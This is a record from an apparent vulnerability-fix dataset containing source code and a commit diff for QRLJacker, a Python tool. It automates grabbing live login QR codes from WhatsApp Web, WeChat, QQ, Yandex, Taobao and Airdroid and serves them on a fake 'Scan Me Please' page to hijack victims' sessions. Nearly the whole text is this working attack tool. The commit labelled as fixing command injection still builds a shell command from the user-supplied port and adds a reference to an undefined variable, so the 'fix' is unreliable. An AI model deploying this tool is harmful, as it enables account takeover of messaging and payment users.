    \n\"\"\"\n\n\tif typ == \"svg\":\n\t\tcode = \"\"\"\nWhatsapp Web

    Scan Me Please

    \n
    \n\"\"\"\n\tf = open(\"index.html\",\"w\")\n\tf.write(code)\n\tf.close()\n\ndef Simple_Exploit(classname,url,image_number,s=10):\n\tdriver = create_driver()\n\ttime.sleep(5)\n\tprint \" [+]Navigating To Website..\"\n\tdriver.get(url)\n\n\twhile True:\n\t\tprint \"-- --- -- --- -- --- -- --- -- --- --\"\n\t\ttry:\n\t\t\tlogin = driver.find_element_by_class_name(classname)\n\t\t\timg = login.find_elements_by_tag_name('img')[int(image_number)]\n\t\t\tprint \" [+]The QR code image found !\"\n\t\t\tsrc = img.get_attribute('src')\n\t\t\tprint \" [+]Downloading the image..\"\n\t\t\tqr = urllib.urlretrieve(src, \"tmp.png\")\n\t\t\tprint \" [#]Saved To tmp.png\"\n\t\t\ttime.sleep(s)\n\t\t\tprint \" [!]Refreshing page...\"\n\t\t\tdriver.refresh()\n\t\t\tcontinue\n\t\texcept:\n\t\t\tbreak\n\ndef clear():\n\tif os.name == \"nt\":\n\t\tos.system(\"cls\")\n\telse:\n\t\tos.system(\"clear\")\n\ndef main():\n\t#clear()\n\tprint \"\"\"\\n\n\t ___ _ _ _\n\t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __\n\t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__|\n\t| |_| || | | | | |_| || (_| || (__ | <| __/| |\n\t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_|\n\n# Hacking With Qrljacking Attack Vector Become Easy\n# Coded By karim Shoair | D4Vinci\n\n Vulnerable Web Applications and Services:\n 1.Chat Applications\n 2.Mailing Services\n 3.eCommerce\n 4.Online Banking\n 5.Passport Services\n 6.Mobile Management Software\n 7.Other Services\n 8.Customization\n\"\"\"\n\tchoice = input(\" Choice > \")\n\n\t#Chat Applications\n\tif choice == 1:\n\t\tprint \"\"\"\n 1.WhatsApp\n 2.WeChat\n 3.Line\n 4.Weibo\n 5.QQ Instant Messaging\n 00.Back To Main Menu\n\t\"\"\"\n\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\t#Whatsapp\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\twhatsapp()\n\t\t\tmain()\n\n\t\t#Wechat\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeChat()\n\t\t\tmain()\n\n\t\t#3\n\n\t\t#Weibo\n\t\telif int(choice_2) == 4:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tWeibo()\n\t\t\tmain()\n\n\t\telif int(choice_2) == 5:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tQQ()\n\t\t\tmain()\n\n\t#Mailing Services\n\tif choice == 2:\n\t\tprint \"\"\"\n 1.QQ Mail\n 2.Yandex Mail\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 2:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake(\"svg\")\n\t\t\tServe_it(port)\n\t\t\tYandex()\n\t\t\tmain()\n\n\t#eCommerce\n\tif choice == 3:\n\t\tprint \"\"\"\n 1.Alibaba\n 2.Aliexpress\n 3.Taobao\n 4.Tmall\n 5.1688.com\n 6.Alimama\n 7.Taobao Trips\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 3:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t\t#4\n\n\t\t#5\n\n\t\t#6\n\n\t\telif int(choice_2) == 7:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tTaobao()\n\t\t\tmain()\n\n\t#Online Banking\n\tif choice == 4:\n\t\tprint \"\"\"\n 1.AliPay\n 2.Yandex Money\n 3.TenPay\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Passport Services\n\tif choice == 5:\n\t\tprint \"\"\"\n 1.Yandex Passport\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Mobile Management Software\n\tif choice == 6:\n\t\tprint \"\"\"\n 1.Airdroid\n 00.Back To Main Menu\n\t\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t\telif int(choice_2) == 1:\n\t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n\t\t\tif port == \"\":port = 1337\n\t\t\tclear()\n\t\t\tmake()\n\t\t\tServe_it(port)\n\t\t\tAirdroid()\n\t\t\tmain()\n\n\t#Other Services\n\tif choice == 7:\n\t\tprint \"\"\"\n 1.MyDigiPass\n 2.Zapper\n 3.Trustly App\n 4.Yelophone\n 5.Alibaba Yunos\n 00.Back To Main Menu\n\"\"\"\n\t\tchoice_2 = raw_input(\" Second Choice > \")\n\t\tif choice_2 == \"00\":\n\t\t\tmain()\n\n\t#Customization\n\t#if choice == 8:\n\t\t#settings.read(\"Data/Simple.ini\")\n\t\t#url = settings.get(\"WeChat\",\"url\")\n\t\t#image_number = settings.get(\"WeChat\",\"image_number\")\n\t\t#classname = settings.get(\"WeChat\",\"classname\")\nif __name__ == '__main__':\n\tmain()\n"}}, "msg": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n...."}}, "https://github.com/OWASP/QRLJacking": {"a101472db88764a0d031ef85fa283967b0692a77": {"url": "https://api.github.com/repos/OWASP/QRLJacking/commits/a101472db88764a0d031ef85fa283967b0692a77", "html_url": "https://github.com/OWASP/QRLJacking/commit/a101472db88764a0d031ef85fa283967b0692a77", "message": "Added many browsers support...\n\n-Fixed Command injection issue\n-Added code to check libraries and installing it if it was installed\n....", "sha": "a101472db88764a0d031ef85fa283967b0692a77", "keyword": "command injection issue", "diff": "diff --git a/QrlJacking-Framework/QRLJacker.py b/QrlJacking-Framework/QRLJacker.py\nindex 81260e9..9538f70 100644\n--- a/QrlJacking-Framework/QRLJacker.py\n+++ b/QrlJacking-Framework/QRLJacker.py\n@@ -1,10 +1,40 @@\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n@@ -12,10 +42,10 @@ def Serve_it(port=1337):\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n@@ -24,9 +54,28 @@ def create_driver():\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n@@ -282,12 +331,6 @@ def Simple_Exploit(classname,url,image_number,s=10):\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n@@ -331,7 +374,13 @@ def main():\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "files": {"/QrlJacking-Framework/QRLJacker.py": {"changes": [{"diff": "\n #!/usr/bin/env python\n #-*- encoding:utf-8 -*-\n #Author:D4Vinci\n-import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser\n-from selenium import webdriver\n+import base64 ,time ,os ,urllib ,sys ,threading ,configparser\n from binascii import a2b_base64\n-from PIL import Image\n+\n+def clear():\n+\tif os.name == \"nt\":\n+\t\tos.system(\"cls\")\n+\telse:\n+\t\tos.system(\"clear\")\n+\n+try:\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n+\n+except:\n+\tprint \"[!] Error Importing Exterinal Libraries\"\n+\tprint \"[!] Trying to install it using pip\"\n+\ttry:\n+\t\tos.popen(\"python -m pip install selenium\")\n+\t\tos.popen(\"python -m pip install Pillow\")\n+\texcept:\n+\t\ttry:\n+\t\t\tos.popen(\"pip install selenium\")\n+\t\t\tos.popen(\"pip install Pillow\")\n+\t\texcept:\n+\t\t\tprint \"[!] Can't install libraries \"\n+\t\t\tprint \"[!!] Try to install it yourself\"\n+\t\t\texit(0)\n+\n+finally:\n+\tclear()\n+\tfrom PIL import Image\n+\timport selenium\n+\tfrom selenium import webdriver\n \n #settings = configparser.ConfigParser()\n \n", "add": 33, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["import base64 ,time ,selenium ,os ,urllib ,sys ,threading ,configparser", "from selenium import webdriver", "from PIL import Image"], "goodparts": ["import base64 ,time ,os ,urllib ,sys ,threading ,configparser", "def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")", "try:", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver", "except:", "\tprint \"[!] Error Importing Exterinal Libraries\"", "\tprint \"[!] Trying to install it using pip\"", "\ttry:", "\t\tos.popen(\"python -m pip install selenium\")", "\t\tos.popen(\"python -m pip install Pillow\")", "\texcept:", "\t\ttry:", "\t\t\tos.popen(\"pip install selenium\")", "\t\t\tos.popen(\"pip install Pillow\")", "\t\texcept:", "\t\t\tprint \"[!] Can't install libraries \"", "\t\t\tprint \"[!!] Try to install it yourself\"", "\t\t\texit(0)", "finally:", "\tclear()", "\tfrom PIL import Image", "\timport selenium", "\tfrom selenium import webdriver"]}, {"diff": "\n \tdef serve(port):\n \t\tif os.name==\"nt\":\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")\n \t\telse:\n \t\t\tprint \" [!] Serving files on \"+str(port)+\" port\"\n-\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n+\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")\n \tthreading.Thread(target=serve,args=(port,)).start()\n \n def create_driver():\n", "add": 2, "remove": 2, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"], "goodparts": ["\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\")", "\t\t\tos.popen(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\")"]}, {"diff": "\n \t\tprint \" [+]Opening Mozila FireFox...\"\n \t\treturn web\n \texcept:\n-\t\tweb = webdriver.Chrome()\n-\t\tprint \" [+]Opening Google Chrome...\"\n-\t\treturn web\n+\t\ttry:\n+\t\t\tweb = webdriver.Chrome()\n+\t\t\tprint \" [+]Opening Google Chrome...\"\n+\t\t\treturn web\n+\t\texcept:\n+\t\t\ttry:\n+\t\t\t\tweb = webdriver.Opera()\n+\t\t\t\tprint \" [+]Opening Opera...\"\n+\t\t\t\treturn web\n+\t\t\texcept:\n+\t\t\t\ttry:\n+\t\t\t\t\tweb = webdriver.Edge()\n+\t\t\t\t\tprint \" [+]Opening Edge...\"\n+\t\t\t\t\treturn web\n+\t\t\t\texcept:\n+\t\t\t\t\ttry:\n+\t\t\t\t\t\tweb = webdriver.Ie()\n+\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"\n+\t\t\t\t\t\treturn web\n+\t\t\t\t\texcept:\n+\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"\n+\t\t\t\t\t\texit(0)\n \n #Stolen from stackoverflow :D\n def Screenshot(PicName ,location ,size):\n", "add": 22, "remove": 3, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\tweb = webdriver.Chrome()", "\t\tprint \" [+]Opening Google Chrome...\"", "\t\treturn web"], "goodparts": ["\t\ttry:", "\t\t\tweb = webdriver.Chrome()", "\t\t\tprint \" [+]Opening Google Chrome...\"", "\t\t\treturn web", "\t\texcept:", "\t\t\ttry:", "\t\t\t\tweb = webdriver.Opera()", "\t\t\t\tprint \" [+]Opening Opera...\"", "\t\t\t\treturn web", "\t\t\texcept:", "\t\t\t\ttry:", "\t\t\t\t\tweb = webdriver.Edge()", "\t\t\t\t\tprint \" [+]Opening Edge...\"", "\t\t\t\t\treturn web", "\t\t\t\texcept:", "\t\t\t\t\ttry:", "\t\t\t\t\t\tweb = webdriver.Ie()", "\t\t\t\t\t\tprint \" [+]Opening Internet Explorer...\"", "\t\t\t\t\t\treturn web", "\t\t\t\t\texcept:", "\t\t\t\t\t\tprint \" Error : \\n Can not call webbrowsers\\n Check your pc\"", "\t\t\t\t\t\texit(0)"]}, {"diff": "\n \t\texcept:\n \t\t\tbreak\n \n-def clear():\n-\tif os.name == \"nt\":\n-\t\tos.system(\"cls\")\n-\telse:\n-\t\tos.system(\"clear\")\n-\n def main():\n \t#clear()\n \tprint \"\"\"\\n\n", "add": 0, "remove": 6, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["def clear():", "\tif os.name == \"nt\":", "\t\tos.system(\"cls\")", "\telse:", "\t\tos.system(\"clear\")"], "goodparts": []}, {"diff": "\n \t\t#Whatsapp\n \t\telif int(choice_2) == 1:\n \t\t\tport = raw_input(\" Port to listen on (Default 1337) : \")\n-\t\t\tif port == \"\":port = 1337\n+\t\t\ttry:\n+\t\t\t\tint(userInput)\n+\t\t\texcept ValueError:\n+\t\t\t\tport = 1337\n+\n+\t\t\tif port == \"\":\n+\t\t\t\tport = 1337\n \t\t\tclear()\n \t\t\tmake()\n \t\t\tServe_it(port)\n", "add": 7, "remove": 1, "filename": "/QrlJacking-Framework/QRLJacker.py", "badparts": ["\t\t\tif port == \"\":port = 1337"], "goodparts": ["\t\t\ttry:", "\t\t\t\tint(userInput)", "\t\t\texcept ValueError:", "\t\t\t\tport = 1337", "\t\t\tif port == \"\":", "\t\t\t\tport = 1337"]}], "source": "\n import base64,time,selenium,os,urllib,sys,threading,configparser from selenium import webdriver from binascii import a2b_base64 from PIL import Image def Serve_it(port=1337): \tdef serve(port): \t\tif os.name==\"nt\": \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > NUL 2>&1\") \t\telse: \t\t\tprint \"[!] Serving files on \"+str(port)+\" port\" \t\t\tos.system(\"python -m SimpleHTTPServer \"+str(port)+\" > /dev/null 2>&1\") \tthreading.Thread(target=serve,args=(port,)).start() def create_driver(): \ttry: \t\tweb=webdriver.Firefox() \t\tprint \"[+]Opening Mozila FireFox...\" \t\treturn web \texcept: \t\tweb=webdriver.Chrome() \t\tprint \"[+]Opening Google Chrome...\" \t\treturn web def Screenshot(PicName,location,size): \timg=Image.open(PicName) \tleft=location['x'] \ttop=location['y'] \tright=left +size['width'] \tbottom=top +size['height'] \tbox=(int(left), int(top), int(right), int(bottom)) \tfinal=img.crop(box) \tfinal.load() \tfinal.save(PicName) def whatsapp(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get('https://web.whatsapp.com/') \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name('qr-button') \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timg=driver.find_elements_by_tag_name('img')[0] \t\t\tsrc=img.get_attribute('src').replace(\"data:image/png;base64,\",\"\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tprint \"[+]Downloading the image..\" \t\t\tbinary_data=a2b_base64(src) \t\t\tqr=open(\"tmp.png\",\"wb\") \t\t\tqr.write(binary_data) \t\t\tprint \"[ \t\t\tqr.close() \t\t\ttime.sleep(5) \t\t\tcontinue \t\texcept: \t\t\tbreak def Yandex(): \tprint \"\\n---------------------------\" \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://passport.yandex.com/auth?mode=qr\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timg_url=\"https://passport.yandex.com\" +driver.find_element_by_class_name(\"qr-code__i\").get_attribute(\"style\").split(\"\\\"\")[1].encode(\"utf-8\") \t\t\tprint \"[+]The QR code image found !\" \t\t\tdata=urllib.urlopen(img_url).read() \t\t\tprint \"[+]Downloading the image..\" \t\t\tf=open(\"tmp.svg\",\"w\").write(data) \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Airdroid(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://web.airdroid.com\") \ttime.sleep(5) \timg_number=16 \trefresh=0 \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton=driver.find_element_by_class_name(\"widget-login-refresh-qrcode\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(selenium.webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[img_number] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tif refresh==0: \t\t\t\tprint \"[!]Refreshing page...\" \t\t\t\tdriver.refresh() \t\t\t\trefresh=1 \t\t\timg_number=15 \t\t\tcontinue \t\texcept: \t\t\tbreak def Weibo(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://weibo.com/login.php\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[len(imgs)-1] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def WeChat(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://web.wechat.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def QQ(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"http://w.qq.com\") \ttime.sleep(10) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tdriver.save_screenshot('tmp.png') \t\t\timg=driver.find_elements_by_tag_name(\"img\")[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tlocation=img.location \t\t\tsize=img.size \t\t\tprint \"[+]Grabbing photo..\" \t\t\tScreenshot(\"tmp.png\",location,size) \t\t\tprint \"[ \t\t\twebdriver.delete_all_cookies() \t\t\ttime.sleep(10) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def Taobao(): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(\"https://login.taobao.com\") \ttime.sleep(5) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tbutton_class=web.find_element_by_class_name(\"msg-err\") \t\t\tbutton=button_class.find_elements_by_tag_name(\"a\")[0] \t\t\tprint \"[!]Clicking to reload QR code image...\" \t\t\tbutton._execute(webdriver.remote.command.Command.CLICK_ELEMENT) \t\t\ttime.sleep(5) \t\texcept: \t\t\tpass \t\ttry: \t\t\timgs=driver.find_elements_by_tag_name('img') \t\t\timg=imgs[0] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(10) \t\t\tcontinue \t\texcept: \t\t\tbreak def make(typ=\"html\"): \tif typ==\"html\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"Scan
    \"\"\" \tif typ==\"svg\": \t\tcode=\"\"\" Whatsapp Web

    Scan Me Please

    \"\"\" \tf=open(\"index.html\",\"w\") \tf.write(code) \tf.close() def Simple_Exploit(classname,url,image_number,s=10): \tdriver=create_driver() \ttime.sleep(5) \tprint \"[+]Navigating To Website..\" \tdriver.get(url) \twhile True: \t\tprint \"---------------------------\" \t\ttry: \t\t\tlogin=driver.find_element_by_class_name(classname) \t\t\timg=login.find_elements_by_tag_name('img')[int(image_number)] \t\t\tprint \"[+]The QR code image found !\" \t\t\tsrc=img.get_attribute('src') \t\t\tprint \"[+]Downloading the image..\" \t\t\tqr=urllib.urlretrieve(src, \"tmp.png\") \t\t\tprint \"[ \t\t\ttime.sleep(s) \t\t\tprint \"[!]Refreshing page...\" \t\t\tdriver.refresh() \t\t\tcontinue \t\texcept: \t\t\tbreak def clear(): \tif os.name==\"nt\": \t\tos.system(\"cls\") \telse: \t\tos.system(\"clear\") def main(): \t \tprint \"\"\"\\n \t ___ _ _ _ \t / _ \\ _ __ | | | | __ _ ___ | | __ ___ _ __ \t| | | || '__|| | _ | | / _` | / __|| |/ // _ \\| '__| \t| |_| || | | | | |_| ||(_| ||(__ | <| __/| | \t \\__\\_\\|_| |_| \\___/ \\__,_| \\___||_|\\_\\\\___||_| Vulnerable Web Applications and Services: 1.Chat Applications 2.Mailing Services 3.eCommerce 4.Online Banking 5.Passport Services 6.Mobile Management Software 7.Other Services 8.Customization \"\"\" \tchoice=input(\" Choice > \") \t \tif choice==1: \t\tprint \"\"\" 1.WhatsApp 2.WeChat 3.Line 4.Weibo 5.QQ Instant Messaging 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\t \t\telif int(choice_2)==1: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\twhatsapp() \t\t\tmain() \t\t \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeChat() \t\t\tmain() \t\t \t\t \t\telif int(choice_2)==4: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tWeibo() \t\t\tmain() \t\telif int(choice_2)==5: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tQQ() \t\t\tmain() \t \tif choice==2: \t\tprint \"\"\" 1.QQ Mail 2.Yandex Mail 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==2: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake(\"svg\") \t\t\tServe_it(port) \t\t\tYandex() \t\t\tmain() \t \tif choice==3: \t\tprint \"\"\" 1.Alibaba 2.Aliexpress 3.Taobao 4.Tmall 5.1688.com 6.Alimama 7.Taobao Trips 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t\telif int(choice_2)==3: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t\t \t\t \t\t \t\telif int(choice_2)==7: \t\t\tport=raw_input(\" Port to listen on(Default 1337): \") \t\t\tif port==\"\":port=1337 \t\t\tclear() \t\t\tmake() \t\t\tServe_it(port) \t\t\tTaobao() \t\t\tmain() \t \tif choice==4: \t\tprint \"\"\" 1.AliPay 2.Yandex Money 3.TenPay 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==5: \t\tprint \"\"\" 1.Yandex Passport 00.Back To Main Menu \t\"\"\" \t\tchoice_2=raw_input(\" Second Choice > \") \t\tif choice_2==\"00\": \t\t\tmain() \t \tif choice==6: \t\tprint \"\"\" 1.Airdroid 00.Back To Main Menu \t\"\"\" 